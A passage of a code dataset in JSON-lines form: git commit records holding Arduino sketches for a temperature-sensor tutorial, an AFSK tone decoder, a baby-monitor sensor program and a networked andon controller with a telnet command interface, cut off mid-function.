2.0 6\/2012 MDG\n*\/\n\n\/\/ We'll use analog input 0 to measure the temperature sensor's\n\/\/ signal pin.\n\nconst int temperaturePin = 0;\n\n\nvoid setup()\n{\n \/\/ In this sketch, we'll use the Arduino's serial port\n \/\/ to send text back to the main computer. For both sides to\n \/\/ communicate properly, they need to be set to the same speed.\n \/\/ We use the Serial.begin() function to initialize the port\n \/\/ and set the communications speed.\n \n \/\/ The speed is measured in bits per second, also known as\n \/\/ \"baud rate\". 9600 is a very commonly used baud rate,\n \/\/ and will transfer about 10 characters per second.\n \n Serial.begin(9600);\n}\n\n\nvoid loop()\n{\n \/\/ Up to now we've only used integer (\"int\") values in our\n \/\/ sketches. Integers are always whole numbers (0, 1, 23, etc.).\n \/\/ In this sketch, we'll use floating-point values (\"float\").\n \/\/ Floats can be fractional numbers such as 1.42, 2523.43121, etc.\n\n \/\/ We'll declare three floating-point variables\n \/\/ (We can declare multiple variables of the same type on one line:)\n\n float voltage, degreesC, degreesF;\n\n \/\/ First we'll measure the voltage at the analog pin. Normally\n \/\/ we'd use analogRead(), which returns a number from 0 to 1023.\n \/\/ Here we've written a function (further down) called\n \/\/ getVoltage() that returns the true voltage (0 to 5 Volts)\n \/\/ present on an analog input pin.\n\n voltage = getVoltage(temperaturePin);\n \n \/\/ Now we'll convert the voltage to degrees Celsius.\n \/\/ This formula comes from the temperature sensor datasheet:\n\n degreesC = (voltage - 0.5) * 100.0;\n \n \/\/ While we're at it, let's convert degrees Celsius to Fahrenheit.\n \/\/ This is the classic C to F conversion formula:\n \n degreesF = degreesC * (9.0\/5.0) + 32.0;\n \n \/\/ Now we'll use the serial port to print these values\n \/\/ to the serial monitor!\n \n \/\/ To open the serial monitor window, upload your code,\n \/\/ then click the \"magnifying glass\" button at the right edge\n \/\/ of the Arduino IDE toolbar. The serial monitor window\n \/\/ will open.\n\n \/\/ (NOTE: remember we said that the communication speed\n \/\/ must be the same on both sides. Ensure that the baud rate\n \/\/ control at the bottom of the window is set to 9600. If it\n \/\/ isn't, change it to 9600.)\n \n \/\/ Also note that every time you upload a new sketch to the\n \/\/ Arduino, the serial monitor window will close. It does this\n \/\/ because the serial port is also used to upload code!\n \/\/ When the upload is complete, you can re-open the serial\n \/\/ monitor window.\n \n \/\/ To send data from the Arduino to the serial monitor window,\n \/\/ we use the Serial.print() function. You can print variables\n \/\/ or text (within quotes).\n\n Serial.print(\"voltage: \");\n Serial.print(voltage);\n Serial.print(\" deg C: \");\n Serial.print(degreesC);\n Serial.print(\" deg F: \");\n Serial.println(degreesF);\n\n \/\/ These statements will print lines of data like this:\n \/\/ \"voltage: 0.73 deg C: 22.75 deg F: 72.96\"\n\n \/\/ Note that all of the above statements are \"print\", except\n \/\/ for the last one, which is \"println\". \"Print\" will output\n \/\/ text to the SAME LINE, similar to building a sentence\n \/\/ out of words. \"Println\" will insert a \"carriage return\"\n \/\/ character at the end of whatever it prints, moving down\n \/\/ to the NEXT line.\n \n delay(1000); \/\/ repeat once per second (change as you wish!)\n}\n\n\nfloat getVoltage(int pin)\n{\n \/\/ This function has one input parameter, the analog pin number\n \/\/ to read. You might notice that this function does not have\n \/\/ \"void\" in front of it; this is because it returns a floating-\n \/\/ point value, which is the true voltage on that pin (0 to 5V).\n \n \/\/ You can write your own functions that take in parameters\n \/\/ and return values. Here's how:\n \n \/\/ To take in parameters, put their type and name in the\n \/\/ parenthesis after the function name (see above). You can\n \/\/ have multiple parameters, separated with commas.\n \n \/\/ To return a value, put the type BEFORE the function name\n \/\/ (see \"float\", above), and use a return() statement in your code\n \/\/ to actually return the value (see below).\n \n \/\/ If you don't need to get any parameters, you can just put\n \/\/ \"()\" after the function name.\n \n \/\/ If you don't need to return a value, just write \"void\" before\n \/\/ the function name.\n\n \/\/ Here's the return statement for this function. We're doing\n \/\/ all the math we need to do within this statement:\n \n return (analogRead(pin) * 0.004882814);\n \n \/\/ This equation converts the 0 to 1023 value that analogRead()\n \/\/ returns, into a 0.0 to 5.0 value that is the true voltage\n \/\/ being read at that pin.\n}\n\n\/\/ Other things to try with this code:\n\n\/\/ Turn on an LED if the temperature is above or below a value.\n\n\/\/ Read that threshold value from a potentiometer - now you've\n\/\/ created a thermostat!\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'circuit_code\/Circuit_07.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"33c5bc6cadd7d43cb4a283f21822b187838d46af","subject":"Modifications","message":"Modifications\n","repos":"Kangalya\/Automated-Greenhouse,Kangalya\/Automated-Greenhouse","old_file":"arduino files\/a_g_system\/a_g_system.ino","new_file":"arduino files\/a_g_system\/a_g_system.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'files\/a_g_system\/a_g_system.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bec98e9ce982fc8b10397d98f89c8e5104f4d659","subject":"Create afsk_decoder.ino","message":"Create afsk_decoder.ino","repos":"nricciar\/launchpad_scripts,nricciar\/launchpad_scripts","old_file":"afsk_decoder.ino","new_file":"afsk_decoder.ino","new_contents":"#include \"Energia.h\"\n#include \"inc\/hw_ints.h\"\n#include \"inc\/hw_memmap.h\"\n#include \"driverlib\/interrupt.h\"\n#include \"driverlib\/pin_map.h\"\n#include \"driverlib\/rom.h\"\n#include \"driverlib\/timer.h\"\n#include \"driverlib\/sysctl.h\"\n\n#define FREQ_MARK 1200\n#define FREQ_SPACE 2200\n#define FREQ_SAMP 48016\n#define BAUD 1200\n\nint sk,mk,i;\nfloat floatnumSamples;\nfloat somega,ssine,scosine,scoeff,momega,msine,mcosine,mcoeff,q0,q1,q2,i0,i1,i2,magnitude,real,imag;\n\nfloat scalingFactor = 40 \/ 2.0;\nint count = 0;\nint sample_position = 0;\n\nvoid SamplerInterrupt(void)\n{\n \/\/ clear the timer interrupt\n ROM_TimerIntClear(TIMER0_BASE, TIMER_TIMA_TIMEOUT);\n\n float tmp = analogRead(A0);\n\n \/\/ mark\n q0 = mcoeff * q1 - q2 + tmp;\n q2 = q1;\n q1 = q0;\n\n \/\/ space\n i0 = scoeff * i1 - i2 + tmp;\n i2 = i1;\n i1 = i0;\n sample_position++;\n\n if (sample_position == 40) {\n real = (q1 - q2 * mcosine) \/ scalingFactor;\n imag = (q2 * msine) \/ scalingFactor;\n\n \/\/ check if signal is mark\n magnitude = sqrtf(real*real + imag*imag);\n if (magnitude > 500) {\n Serial.print(\"1\");\n } \n else {\n real = (i1 - i2 * scosine) \/ scalingFactor;\n imag = (i2 * ssine) \/ scalingFactor;\n\n \/\/ check if signal is space\n magnitude = sqrtf(real*real + imag*imag);\n if (magnitude > 500) {\n Serial.print(\"0\");\n }\n }\n\n \/\/ reset\n q0=0;\n q1=0;\n q2=0;\n i0=0;\n i1=0;\n i2=0;\n sample_position = 0;\n }\n\n \/\/ for debug\n count++;\n}\n\nvoid setup()\n{\n \/\/ init serial port\n Serial.begin(9600);\n\n \/\/ initialise the sampler interrupt\n ROM_SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER0);\n ROM_TimerConfigure(TIMER0_BASE, TIMER_CFG_PERIODIC);\n TimerIntRegister(TIMER0_BASE, TIMER_A, SamplerInterrupt);\n ROM_TimerEnable(TIMER0_BASE, TIMER_A);\n ROM_IntEnable(INT_TIMER0A);\n ROM_TimerIntEnable(TIMER0_BASE, TIMER_TIMA_TIMEOUT);\n\n \/\/ setup goertzel variables for mark detection\n floatnumSamples = (float) 128;\n mk = (int) (0.5 + ((floatnumSamples * FREQ_MARK) \/ FREQ_SAMP));\n momega = (2.0 * M_PI * mk) \/ floatnumSamples;\n msine = sin(momega);\n mcosine = cos(momega);\n mcoeff = 2.0 * mcosine;\n q0=0;\n q1=0;\n q2=0;\n\n \/\/ setup goertzel variables for space detection\n sk = (int) (0.5 + ((floatnumSamples * FREQ_SPACE) \/ FREQ_SAMP));\n somega = (2.0 * M_PI * sk) \/ floatnumSamples;\n ssine = sin(somega);\n scosine = cos(somega);\n scoeff = 2.0 * scosine;\n i0=0;\n i1=0;\n i2=0;\n}\n\nvoid loop()\n{\n \/\/ start the timer then loop forever\n ROM_TimerLoadSet(TIMER0_BASE, TIMER_A, 2498); \/\/ 2498 =~ 48000Hz\n while (1)\n {\n Serial.println(count);\n count = 0;\n delay(1000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'afsk_decoder.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"29bc7a7fd2ba041781fa1e82ee191a1f09a83e31","subject":"Arduino Program directly excute","message":"Arduino Program directly excute\n","repos":"entercritical\/baby-sitter,entercritical\/baby-sitter,entercritical\/baby-sitter,entercritical\/baby-sitter","old_file":"monitor\/Arduino_BabySitter\/sensor_program\/sensor_program.ino","new_file":"monitor\/Arduino_BabySitter\/sensor_program\/sensor_program.ino","new_contents":"#include \"Timer.h\"\n#include <MeetAndroid.h>\n\nMeetAndroid meetAndroid;\n\nTimer SMPeriod;\nTimer BTPeriod;\nTimer SensPeriod;\n\nvolatile int BPM; \/\/ used to hold the pulse rate\n\nconst int TempSensor_PIN = A0;\nconst int HumiditySensor_PIN = A1;\nconst int SoundSensor_PIN = A2;\n\nint TempSensorValue;\nlong TempSensorVoltage;\nint SoundSensorValue;\n\nint Temperature;\nint Humidity;\nint Sound;\nint SoundThreshCount;\n\nchar g_buf[100];\nint g_data[4][10];\nint g_count;\nchar *g_sensor[] = { \"heat\", \"wet\", \"bpm\", \"mic\"};\n\nvoid setup()\n{\n pinMode(SoundSensor_PIN, INPUT);\n pinMode(HumiditySensor_PIN, OUTPUT);\n digitalWrite(HumiditySensor_PIN, HIGH);\n Serial.begin(57600);\n BTPeriod.every(1000, BlueToothMonitor);\n SensPeriod.every(1000, ADSensing);\n meetAndroid.registerFunction(sendCurrentData, 'C');\n}\n \nvoid loop()\n{\n BTPeriod.update();\n SensPeriod.update();\n \n SoundSensorValue = analogRead(SoundSensor_PIN);\n \n if(SoundSensorValue > 750){\n SoundThreshCount++;\n }\n}\n\nvoid ADSensing()\n{\n TempSensing();\n HumiditySensing();\n}\n\nvoid BlueToothMonitor()\n{\n int i, j;\n char tmp[5];\n \n meetAndroid.receive(); \/\/ you need to keep this in your loop() to receive events\n \n if (g_count >= 10) {\n g_count = 0;\n for (j = 0; j < 4; j++) {\n strcpy(g_buf, g_sensor[j]);\n strcat(g_buf, \" \");\n for (i = 0; i < 10; i++) {\n itoa(g_data[j][i], tmp, 10);\n strcat(g_buf, tmp);\n strcat(g_buf, \" \");\n }\n meetAndroid.send(g_buf);\n }\n }\n \n if(Temperature == 0){\n Temperature = 365;\n }\n if(Humidity == 0){\n Humidity = 33;\n }\n \n g_data[0][g_count] = Temperature;\n g_data[1][g_count] = Humidity;\n g_data[2][g_count] = 80;\n g_data[3][g_count] = SoundThreshCount;\n \n SoundThreshCount = 0;\n g_count++;\n}\n\nvoid sendCurrentData(byte flag, byte numOfValues)\n{\n int j;\n char tmp[5];\n for (j = 0; j < 4; j++) {\n strcpy(g_buf, g_sensor[j]);\n strcat(g_buf, \" \");\n itoa(g_data[j][0], tmp, 10);\n strcat(g_buf, tmp);\n strcat(g_buf, \" \");\n meetAndroid.send(g_buf);\n }\n}\n\nvoid TempSensing()\n{\n TempSensorValue = analogRead(TempSensor_PIN);\n TempSensorVoltage = TempSensorValue * 5000000\/1024000;\n Temperature = int(TempSensorVoltage - 500);\n}\n\nvoid HumiditySensing()\n{\n byte SensorData[5];\n byte SensorInput;\n byte i;\n \n digitalWrite(HumiditySensor_PIN, LOW);\n delay(18);\n digitalWrite(HumiditySensor_PIN, HIGH);\n delayMicroseconds(1);\n pinMode(HumiditySensor_PIN, INPUT);\n delayMicroseconds(40);\n \n if (digitalRead(HumiditySensor_PIN))\n {\n delay(200);\n return;\n }\n \n delayMicroseconds(80);\n \n if (!digitalRead(HumiditySensor_PIN))\n {\n return;\n }\n \n delayMicroseconds(80);\/\/ now ready for data reception\n \n for (i=0; i<5; i++){\n SensorData[i] = ReadHumidityData(HumiditySensor_PIN);\n } \/\/recieved 40 bits data. Details are described in datasheet\n \n pinMode(HumiditySensor_PIN, OUTPUT);\n digitalWrite(HumiditySensor_PIN, HIGH);\n byte SensorCheckSum = SensorData[0]+SensorData[2];\/\/ check check_sum\n if(SensorData[4]!= SensorCheckSum){\n ;\n }\n \n Humidity = int(SensorData[0]);\n \n\/\/ Serial.print(\"DHT11 Temperature is \");\n\/\/ Serial.print(SensorData[2], DEC);\n\/\/ Serial.println(\" C\");\n}\n\n\nbyte ReadHumidityData(int Pin)\n{\n byte i = 0;\n byte result=0;\n for(i=0; i< 8; i++)\n {\n while (!digitalRead(Pin));\n delayMicroseconds(30);\n if (digitalRead(Pin) != 0 )\n bitSet(result, 7-i);\n while (digitalRead(Pin));\n }\n return result;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'monitor\/Arduino_BabySitter\/sensor_program\/sensor_program.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d72768dc2c36146e3d17b1c42c663b6631f3aa56","subject":"release v1.8.0","message":"release v1.8.0\n\n0Added code to repository. Starting with release v1.8.0\n","repos":"lorneroy\/andonController,lorneroy\/andonController","old_file":"T03801_v1_8_0\/T03801_v1_8_0.ino","new_file":"T03801_v1_8_0\/T03801_v1_8_0.ino","new_contents":"\/*\n Web service client\n\n This sketch connects to a web service to send messages indicating andon control inputs\n v1.8.0 - add queries for control status. Work to improve garbage in telnet messages with string.trim(). use F() to reduce string cost in RAM\n v1.7.4 - corrected :STATUS? telnet response\n v1.7.3 - dead branch\n v1.7.2 - add handling for DHCP lease maintenance (Ethernet.maintain() in loop()). Changed to solid red led when red button pressed. Fixed control state sent from blue switch - on\/off, not 1\/0\n v1.7.1 - added printlines to telnet connection. populated command list on question mark input\n v1.7 - 20150407 LR - make controller a server to accept connections over ethernet\n v1.6.2 - 20150407 LR - Address very long timeout for bad connections to server\n v1.6.1 - 20150407 LR - Change red button function to move debounce logic to server side\n v1.6 - 20150406 LR - Updated to capture andon switch changes and call new webservice\n v1.5 - 20150207 LR - Explicit SPI controls\n v1.4 branch closed\n v1.3 - 20150108 LR - Changed the loop for the on and off buttons back to original\n v1.2 - 20150108 LR - Corrected erroneous entry in off button detection that prevented off routine from running\n v1.1 - 20141103 LR - Updated off button hold time to 5000ms\n Circuit:\n this is intended to be run on a Arduino Ethernet or Arduino with Ethernet Shield,\n with 2 buttons (on and off), 4 switches, and 2 LEDs for status. Refer to declarations for pin numbers\n * Ethernet shield attached to pins 10, 11, 12, 13\n\n created 08SEP2013\n by Lorne Roy\n derived in part from the example webClient sketch\n *\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <EEPROM.h>\n#include <utility\/w5100.h>\n\n\n\/\/8-pin header\n\/\/pins 0 and 1 are reserved for serial\n#define GREEN_SWITCH 3\n#define BLUE_SWITCH 2\n#define YELLOW_SWITCH 4\n\/\/#define SS_SD_CARD 4\n#define RED_SWITCH 7\n#define RED_LED 5\n#define GREEN_LED 6\n\n\/\/10-pin header\n#define RED_BUTTON 8\n#define GREEN_BUTTON 9\n#define SS_ETHERNET 10 \/\/reserved for ethernet\n\nconst String versionID = \"T03801 v1.8.0\";\nconst char commandList[] PROGMEM = {\":CLIENT? - This command returns the IP address for the andon controller\\r\\n\"\n\":MAC? - This command returns the MAC address for the andon controller\\r\\n\"\n\":MAC:aa-bb-cc-dd-ee-ff - This command sets the MAC address for the andon controller to aa-bb-cc-dd-ee-ff\\r\\n\"\n\":PORT? - This command returns the port number for the web service server\\r\\n\"\n\":PORT:nn - This command sets the port number for the web service server to nn\\r\\n\"\n\":SERVER? - This command returns the ip address for the web service server\\r\\n\"\n\":SERVER:aaa.bbb.ccc.ddd - This command sets the ip address for the web service server to aaa.bbb.ccc.ddd\\r\\n\"\n\":STATUS:SYSTEM? - This command returns the status of the andon controller; 0 = good, 1 = not connected, 2 = last request failed\\r\\n\"\n\":STATUS:SYSTEM:n - This command sets the status of the andon controller to n\\r\\n\"\n\":STATUS:CONTROL:BLUE_SWITCH? - This command returns the status of the control\\r\\n\"\n\":STATUS:CONTROL:GREEN_SWITCH? - This command returns the status of the control\\r\\n\"\n\":STATUS:CONTROL:RED_SWITCH? - This command returns the status of the control\\r\\n\"\n\":STATUS:CONTROL:YELLOW_SWITCH? - This command returns the status of the control\\r\\n\"\n\":STATUS:CONTROL:GREEN_BUTTON? - This command returns the status of the control\\r\\n\"\n\":STATUS:CONTROL:RED_BUTTON? - This command returns the status of the control\\r\\n\"\n\":VERSION? - This command returns the firmware version of the andon controller\"};\n\/*\nconst char redButtonQuery[] PROGMEM = {\":STATUS:CONTROL:RED_BUTTON?\"}\nconst char greenButtonQuery[] PROGMEM = {\":STATUS:CONTROL:GREEN_BUTTON?\"}\nconst char blueSwitchQuery[] PROGMEM = {\":STATUS:CONTROL:BLUE_SWITCH?\"}\nconst char greenSwitchQuery[] PROGMEM = {\":STATUS:CONTROL:GREEN_SWITCH?\"}\nconst char yellowSwitchQuery[] PROGMEM = {\":STATUS:CONTROL:YELLOW_SWITCH?\"}\nconst char redSwitchQuery[] PROGMEM = {\":STATUS:CONTROL:RED_SWITCH?\"}\n\nenum Status {\nenum Status {\n good = 0,\n noConnection = 1,\n requestFailed = 2,\n maintainFailed = 3\n } systemStatus;\n *\/\n\n\/\/initialize the LED output\nbyte greenBright = 0;\nbyte redBright = 255;\n\n\/\/switch status bits used to track if a switch has changed states\nboolean greenButtonStatus;\nboolean redButtonStatus;\nboolean greenSwitchStatus;\nboolean blueSwitchStatus;\nboolean yellowSwitchStatus;\nboolean redSwitchStatus;\n\nString controlState = \"\";\n\n\/\/system status\nint systemStatus = 0;\n\/\/time index for status messages\nint sti = 0;\n\n\/\/set the time a person must hold the off button in milliseconds\nconst long offDebounce = 3000;\n\n\/\/use this to determine if the MAC address has been written to EEPROM\nboolean MAC_set = false;\nboolean server_set = false;\nboolean port_set = false;\nboolean ethernetBegin = false;\n\/\/for tracking connections\nboolean lastConnected = false;\n\n\/\/these variables are for the serial port input\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\n\/\/MAC address will be written\/read from EEPROM. Don't want to hardcode into sketch given multiple instances on network\nbyte mac[6];\n\n\/\/ Initialize the Ethernet client library\n\/\/ with the IP address and port of the webServer\n\/\/ that you want to connect to (port 80 is default for HTTP):\nEthernetClient client;\nIPAddress webServer(192, 168, 40, 11);\nunsigned int port = 80;\n\/\/initialize the controller as a server on port 23 (telnet) to take incoming requests\nEthernetServer thisServer(23);\nEthernetClient telnetClient;\n\nvoid setup()\n{\n \/\/set up the pins\n \/\/explicitly setting up the SS pins for the ethernet and sd card\n \/\/this was for troubleshooting faults in communicating with the server\n \/\/pinMode(SS_SD_CARD, OUTPUT);\n \/\/digitalWrite(SS_SD_CARD, HIGH); \/\/ SD Card not active\n\n pinMode(SS_ETHERNET, OUTPUT);\n \/\/digitalWrite(SS_ETHERNET, HIGH); \/\/ Ethernet not active\n digitalWrite(SS_ETHERNET, LOW);\n\n \/\/buttons\n pinMode(GREEN_BUTTON, INPUT_PULLUP);\n pinMode(RED_BUTTON, INPUT_PULLUP);\n \/\/leds\n pinMode(GREEN_LED, OUTPUT);\n pinMode(RED_LED, OUTPUT);\n \/\/switches\n pinMode(GREEN_SWITCH, INPUT_PULLUP);\n pinMode(BLUE_SWITCH, INPUT_PULLUP);\n pinMode(YELLOW_SWITCH, INPUT_PULLUP);\n pinMode(RED_SWITCH, INPUT_PULLUP);\n\n analogWrite(RED_LED, redBright);\n analogWrite(GREEN_LED, greenBright);\n\n \/\/initialize switch status bits\n greenButtonStatus = digitalRead(GREEN_BUTTON);\n redButtonStatus = digitalRead(RED_BUTTON);\n\n greenSwitchStatus = digitalRead(GREEN_SWITCH);\n blueSwitchStatus = digitalRead(BLUE_SWITCH);\n yellowSwitchStatus = digitalRead(YELLOW_SWITCH);\n redSwitchStatus = digitalRead(RED_SWITCH);\n\n \/\/ Open serial communications\n Serial.begin(9600);\n\n \/*determine if MAC address and server address set using the following\n EEPROM ADDRESS EXPECTED VALUE\n 0,7 0xAA used to indicate that MAC EEPROM data is not random\n 1-6 MAC address\n 8,13 0xAA used to indicate that MAC EEPROM data is not random\n 9-12 Server IP address\n 14,17 0xAA used to indicate that MAC EEPROM data is not random\n 15,16 Server IP port\n *\/\n MAC_set = EEPROM.read(0) == 0xAA & EEPROM.read(7) == 0xAA;\n server_set = EEPROM.read(8) == 0xAA & EEPROM.read(13) == 0xAA;\n port_set = EEPROM.read(14) == 0xAA & EEPROM.read(17) == 0xAA;\n if (MAC_set)\n {\n \/\/read MAC address from EEPROM\n for (int i = 0; i < 6; i++)\n {\n \/\/take care for the address offset\n mac[i] = EEPROM.read(i + 1);\n }\n Serial.println(F(\"MAC address: \"));\n Serial.println(getMACAddress());\n \/\/if successful, start the Ethernet connection:\n \/\/if not, wait for MAC address to be set over serial, flash lights, indicating problem\n ethernetBegin = Ethernet.begin(mac);\n if (ethernetBegin == 0)\n {\n Serial.println(F(\"Failed to configure Ethernet using DHCP\"));\n }\n else\n {\n \/\/ give the Ethernet shield a second to initialize:\n delay(1000);\n Serial.println(F(\"Client IP address:\"));\n Serial.println(Ethernet.localIP());\n \/\/these lines control the retries. Without this the tries take > 30 s\n W5100.setRetransmissionTime(0x07D0);\n W5100.setRetransmissionCount(3);\n\n thisServer.begin();\n\n }\n }\n if (server_set)\n {\n int aaa = EEPROM.read(9);\n int bbb = EEPROM.read(10);\n int ccc = EEPROM.read(11);\n int ddd = EEPROM.read(12);\n\n \/\/ use the numeric IP instead of the name for the server:\n webServer = IPAddress(aaa, bbb, ccc, ddd); \/\/ numeric IP for server\n }\n\n Serial.println(F(\"Server IP address:\"));\n Serial.println(webServer);\n\n if (port_set)\n {\n port = EEPROM.read(15) * 256 + EEPROM.read(16);\n }\n\n Serial.println(F(\"Server port number:\"));\n Serial.println(port, DEC);\n\n}\n\nvoid loop()\n{\n \/\/set LEDs to give status\n flashStatus(systemStatus, sti, greenBright, redBright);\n analogWrite(GREEN_LED, greenBright);\n analogWrite(RED_LED, redBright);\n\n if (ethernetBegin != 0)\n {\n \/\/maintain lease \n if(Ethernet.maintain() % 2 == 1)\n {\n systemStatus = 3;\n }\n else\n {\n if(systemStatus == 3)\n {\n \/\/reset systemStatus only if it was 3. Don't stomp on other status values\n systemStatus=0;\n }\n }\n \n \/\/check for client connections\n checkForTelnetClientMessage();\n\n \/\/if green momentary button changes state\n if (digitalRead(GREEN_BUTTON) != greenButtonStatus)\n {\n greenButtonStatus = digitalRead(GREEN_BUTTON);\n if (greenButtonStatus == HIGH)\n {\n controlState = \"released\";\n Serial.print(F(\"green_button \"));\n Serial.println(controlState);\n\n \/\/send message to server and set system status based on response\n if (sendRequest(\"green_button\", controlState))\n {\n systemStatus = 0;\n }\n else\n {\n systemStatus = 2;\n }\n delay(100);\n sti = 0;\n }\n else\n {\n long buttonPressed = millis();\n int seconds = 0;\n \/\/send message on initial state\n controlState = \"pressed\";\n Serial.print(F(\"green_button \"));\n Serial.println(controlState);\n\n \/\/send message to server and set system status based on response\n if (sendRequest(\"green_button\", controlState))\n {\n systemStatus = 0;\n }\n else\n {\n systemStatus = 2;\n }\n sti = 0;\n\n \/\/while switch is held down, send messages each second\n while (digitalRead(GREEN_BUTTON) == LOW)\n {\n \/\/Solid Green LED\n analogWrite(RED_LED, 0);\n analogWrite(GREEN_LED, 255);\n\n if ((millis() - buttonPressed) > (seconds + 1) * 1000)\n {\n seconds += 1;\n controlState = \"held_\" + String(seconds) + \"_seconds\";\n \/\/send message to server and set system status based on response\n if (sendRequest(\"green_button\", controlState))\n {\n systemStatus = 0;\n }\n else\n {\n systemStatus = 2;\n }\n }\n }\n\n }\n }\n \/\/if red momentary button changes state\n else if (digitalRead(RED_BUTTON) != redButtonStatus)\n {\n redButtonStatus = digitalRead(RED_BUTTON);\n if (redButtonStatus == HIGH)\n {\n controlState = \"released\";\n Serial.print(F(\"red_button \"));\n Serial.println(controlState);\n\n \/\/send message to server and set system status based on response\n if (sendRequest(\"red_button\", controlState))\n {\n systemStatus = 0;\n }\n else\n {\n systemStatus = 2;\n }\n delay(100);\n sti = 0;\n }\n else\n {\n long buttonPressed = millis();\n int seconds = 0;\n \/\/send message on initial state\n controlState = \"pressed\";\n Serial.print(F(\"red_button \"));\n Serial.println(controlState);\n\n \/\/send message to server and set system status based on response\n if (sendRequest(\"red_button\", controlState))\n {\n systemStatus = 0;\n }\n else\n {\n systemStatus = 2;\n }\n sti = 0;\n\n \/\/while switch is held down, send messages each second\n while (digitalRead(RED_BUTTON) == LOW)\n {\n\n \/\/Solid Red LED\n analogWrite(RED_LED, 255);\n analogWrite(GREEN_LED, 0);\n \n if ((millis() - buttonPressed) > (seconds + 1) * 1000)\n {\n seconds += 1;\n controlState = \"held_\" + String(seconds) + \"_seconds\";\n \/\/send message to server and set system status based on response\n if (sendRequest(\"red_button\", controlState))\n {\n systemStatus = 0;\n }\n else\n {\n systemStatus = 2;\n }\n }\n }\n }\n }\n if (digitalRead(GREEN_SWITCH) != greenSwitchStatus )\n {\n greenSwitchStatus = digitalRead(GREEN_SWITCH);\n if (greenSwitchStatus == HIGH)\n {\n controlState = \"off\";\n }\n else\n {\n controlState = \"on\";\n }\n Serial.print(F(\"green_switch turned to \"));\n Serial.println(controlState);\n\n analogWrite(RED_LED, 0);\n analogWrite(GREEN_LED, 255);\n\n \/\/send message to server and set system status based on response\n if (sendRequest(\"green_switch\", controlState))\n {\n systemStatus = 0;\n }\n else\n {\n systemStatus = 2;\n }\n delay(100);\n sti = 0;\n }\n\n if (digitalRead(RED_SWITCH) != redSwitchStatus )\n {\n redSwitchStatus = digitalRead(RED_SWITCH);\n if (redSwitchStatus == HIGH)\n {\n controlState = \"off\";\n }\n else\n {\n controlState = \"on\";\n }\n Serial.print(F(\"red_switch turned to \"));\n Serial.println(controlState);\n\n analogWrite(RED_LED, 0);\n analogWrite(GREEN_LED, 255);\n\n \/\/send message to server and set system status based on response\n if (sendRequest(\"red_switch\", controlState))\n {\n systemStatus = 0;\n }\n else\n {\n systemStatus = 2;\n }\n delay(100);\n sti = 0;\n }\n\n if (digitalRead(YELLOW_SWITCH) != yellowSwitchStatus )\n {\n yellowSwitchStatus = digitalRead(YELLOW_SWITCH);\n if (yellowSwitchStatus == HIGH)\n {\n controlState = \"off\";\n }\n else\n {\n controlState = \"on\";\n }\n Serial.print(F(\"yellow_switch turned to \"));\n Serial.println(controlState);\n\n analogWrite(RED_LED, 0);\n analogWrite(GREEN_LED, 255);\n\n \/\/send message to server and set system status based on response\n if (sendRequest(\"yellow_switch\", controlState))\n {\n systemStatus = 0;\n }\n else\n {\n systemStatus = 2;\n }\n delay(100);\n sti = 0;\n }\n if (digitalRead(BLUE_SWITCH) != blueSwitchStatus )\n {\n blueSwitchStatus = digitalRead(BLUE_SWITCH);\n if (blueSwitchStatus == HIGH)\n {\n controlState = \"off\";\n }\n else\n {\n controlState = \"on\";\n }\n Serial.print(F(\"blue_switch turned to \"));\n Serial.println(controlState);\n\n analogWrite(RED_LED, 0);\n analogWrite(GREEN_LED, 255);\n\n \/\/send message to server and set system status based on response\n if (sendRequest(\"blue_switch\", controlState))\n {\n systemStatus = 0;\n }\n else\n {\n systemStatus = 2;\n }\n delay(100);\n sti = 0;\n }\n\n }\n else\n {\n systemStatus = 1;\n }\n\n \/\/if a string has come in over serial or telnet\n if (stringComplete)\n {\n \/\/convert to upper case and trim off whitespace, newlines, etc.\n inputString.toUpperCase();\n \n inputString.trim();\n\n Serial.print(F(\"received: \"));\n Serial.println(inputString);\n if (telnetClient) {\n thisServer.print(F(\"received: \"));\n thisServer.println(inputString);\n }\n\n \/\/go through commands\n if (inputString==\"?\")\n {\n \/\/list available commands\n int k; \/\/ counter variable\n char myChar;\n for (k = 0; k < strlen(commandList); k++)\n {\n myChar = pgm_read_byte_near(commandList + k);\n Serial.print(myChar);\n if (telnetClient) {\n thisServer.print(myChar);\n }\n }\n Serial.println();\n if (telnetClient) {\n thisServer.println();\n }\n }\n \n \/\/determine which control is being queried by looking at the next part of the string\n else if(inputString == \":STATUS:CONTROL:RED_BUTTON?\"){\n Serial.println(redButtonStatus);\n if (telnetClient) {\n thisServer.println(redButtonStatus);\n }\n }\n else if(inputString == \":STATUS:CONTROL:GREEN_BUTTON?\")\n {\n Serial.println(greenButtonStatus);\n if (telnetClient) {\n thisServer.println(greenButtonStatus);\n }\n }\n else if(inputString == \":STATUS:CONTROL:BLUE_SWITCH?\")\n {\n Serial.println(blueSwitchStatus);\n if (telnetClient) {\n thisServer.println(blueSwitchStatus);\n }\n }\n else if(inputString == \":STATUS:CONTROL:GREEN_SWITCH?\")\n {\n Serial.println(greenSwitchStatus);\n if (telnetClient) {\n thisServer.println(greenSwitchStatus);\n }\n }\n else if(inputString == \":STATUS:CONTROL:YELLOW_SWITCH?\")\n {\n Serial.println(yellowSwitchStatus);\n if (telnetClient) {\n thisServer.println(yellowSwitchStatus);\n }\n }\n else if(inputString == \":STATUS:CONTROL:RED_SWITCH?\")\n {\n Serial.println(redSwitchStatus);\n if (telnetClient) {\n thisServer.println(redSwitchStatus);\n }\n }\n\n else if (inputString.startsWith(\":MAC:\"))\n {\n \/\/writeMacAddress(inputString);\n \/\/take the next set of characters and store them to EEPROM\n String MACinput = inputString.substring(5);\n \/\/clean up by removing hyphens if present\n MACinput.replace(\"-\", \"\");\n \/\/uppercase for easier parsing\n MACinput.toUpperCase();\n \/\/trim\n MACinput.trim();\n\n 